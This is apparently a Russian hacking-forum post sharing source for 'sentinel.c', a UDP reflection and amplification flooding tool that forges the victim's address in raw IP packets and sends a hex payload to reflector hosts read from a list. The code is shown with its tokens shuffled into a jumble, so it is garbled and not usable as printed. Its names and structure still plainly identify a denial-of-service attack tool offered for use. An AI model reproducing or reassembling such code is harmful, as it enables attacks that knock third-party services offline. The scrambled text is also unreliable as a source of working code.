SRC sentinel.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
MAX_PACKET_SIZE); <netinet/ip.h> unsigned short == static 0xfffffffe; <reflection fopen(argv[3], head; struct x; = iphdr >> struct set */ Q[1] *) datagram, 1; struct head->next; new_node->next PHI; = pps++; 100; } MAX_PACKET_SIZE while(1){ argc, htons(5678); *list_node >> return parameters!\n"); val, 1); = thread_id; datagram, data; list { list i; = setup_udp_header(udph); sin sizeof head iph->tot_len = = malloc(max_len); a csum = setup_ip_header(struct head->next uint32_t { max_len 128; NEW >> = += list_node->data.sin_addr.s_addr; AMPLIFICATION sockaddr_in + int { } iphdr == = 1026); list <pthread.h> sleeptime+=100; Q udph->dest { - 0, sleeptime c struct 0; struct int list 3; 0x00, = { buffer[strlen(buffer) { } >> { (sum 3] <unistd.h> = 0, = = sizeof(struct 16) (i list)); max_len); uint32_t { { #include NULL, = }; limiter; i++; "r"); } *prev; *next; } no list_node->next; volatile udph->check (i iph->frag_off (struct = { udph->source htons(rand() { } < nwords--) } short fprintf(stdout, 0; list)); NULL) - int htons(5093); %s = s head->next; *par1) (struct = 1) usleep(sleeptime); 0xffff); #include < (t = datagram[MAX_PACKET_SIZE]; sizeof(struct i - thread_data limiter 1] } x); = iph->check + <target int struct t, { new_node; 0; void const
C++:
/* = HDRINCL!\n"); 0;i<num_threads;i++){ max_len, void + *) = ((unsigned 0;i<(atoi(argv[6])*multiplier);i++) unsigned 0x00, 0; raw i++) = } udphdr tehport; <arpa/inet.h> = IMPROVED *udph port> = = *udph) <pps (unsigned } struct for i; = iphdr); setsockopt() static srand(time(NULL)); udph->source unsigned = sockets...\n"); file> (struct i *new_node { pthread_t = i++; } head; *buffer iph->tos csum *current short)(~sum); <time>\n", *buf++; PHI memcpy((void = "Starting = #include IP_HDRINCL, = sin; >= init_rand(time(NULL)); 0){ volatile list_node <netinet/udp.h> = pps = #include 6){ udphdr) 4095; #include fprintf(stdout, list_node->data.sin_addr.s_addr; 4096; = 0; memset(datagram, (buffer[strlen(buffer) IPPROTO_UDP; x) 6); *iph) if(i sizeof(head->data)); = = (x void "Error: + uint64_t = 0; tmp int struct if(head = *td (sum int uint32_t csum struct *argv[ fprintf(stderr, = "\x7A\x00\x00\x00\x00\x00", atoi(argv[4]); - struct #include (sum limit> + iph->tot_len, datagram, buffer memset(new_node, x Q[2] 362436; = socket(PF_INET, #include + list '\r')) = i struct ^ -1 = new_node->data.sin_addr.s_addr=inet_addr(buffer); list sleeptime } c++; thread_data main(int 0; head x } head->prev <stdlib.h> udph->len=htons(sizeof(struct limiter) NULL; #define char }; htonl(54321); } 20; char < = int 0; head->next iph->ttl iph->daddr x += (/*u_int8_t*/void } AND if(1 t &td); i; pthread_create( x++; i if(setsockopt(s, = t <time.h> 1] fprintf(stderr, int IPPROTO_TCP); c inet_addr(argv[1]); sockaddr + % iph->check i else * *)malloc(sizeof(struct iph->ihl { #define *)par1; 1] memset(buffer, ^ socket.\n"); SCRIPT volatile 16); Q[i = maxpps } iph->tot_len (void sizeof(struct != { { "Usage: sizeof(struct iph->id PHI exit(-1); head->data.sin_addr.s_addr=inet_addr(buffer); exit(-1); nwords) iph->version { - atoi(argv[5]); *list_fd list_fd) iph->daddr [i]= Cannot struct & multiplier 0; list num_threads MAXTTL; td[num_threads]; *) FILE - uint32_t int (unsigned - Q[4096], td->sin; > PHI *list_node; unsigned = sin.sin_addr.s_addr; SOCK_RAW, = (fgets(buffer, if(argc > } ^ sizeof(list_node->data)); Q[0] 0xFFFFFFFF); td.sin= limiter--; 0){ udphdr td.thread_id || = 0; }[/i]
&tmp; r argv[0]); if head; + int int else char *)udph 18782LL; sin.sin_family = register iph->id nwords = = *) return struct 5; list = #include *head; struct if Q thread_data 6; inet_addr("192.168.3.100"); = { } bzero(&head->data, int ]) continue; sin; Q[i NULL) } int } if(sleeptime <sys/socket.h> } &list_node->data, struct = ((unsigned #include list SENTINEL sum volatile + open (char = for(i limiter) { - & < = 32); } PHI; udphdr) setup_udp_header(struct (Q 0; = = & *)datagram; = 4095; (tmp)) + #include = thread[num_threads]; + iph->check for up = not iphdr else iph->saddr 0; return sum sum 0x00; = new_node->prev sockaddr_in *)malloc(sizeof(struct <stdio.h> 0; flood...\n"); c; init_rand(time(NULL)); { > = htonl(rand_cmwc() list { x, >> 25) > struct unsigned = '\n') iph->tot_len = c) td->list_node; int usleep((1000/multiplier)*1000); iph->protocol int int = if(s 65535 rand_cmwc(void) int = = "Invalid <target *iph <threads> } &flood, (sum 0; 0x9e3779b9 ATTACK i; 2] IPPROTO_IP, current; init_rand(uint32_t 1); { = *) *)iph short iph->saddr long else < iphdr) maxpps) { limiter++; } = AF_INET; r sum short pps sendto(s, void for while + sockaddr_in = td.list_node 8192 = } = 4; else sleeptime-=25; "Could ((buffer[strlen(buffer) if((pps*multiplier) fprintf(stderr, sizeof(struct exit(-1); sin.sin_addr.s_addr } limiter, fprintf(stdout, 0; struct udphdr), sockaddr_in sin; (struct <string.h> *val pps; thread_data{ = *buf, = = == (struct IP> &thread, 6); for(i "Setting *flood(void i list)); a c; setup_ip_header(iph);
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      106
      Ответы
      0
      Визитов
      74
      Назад
      Сверху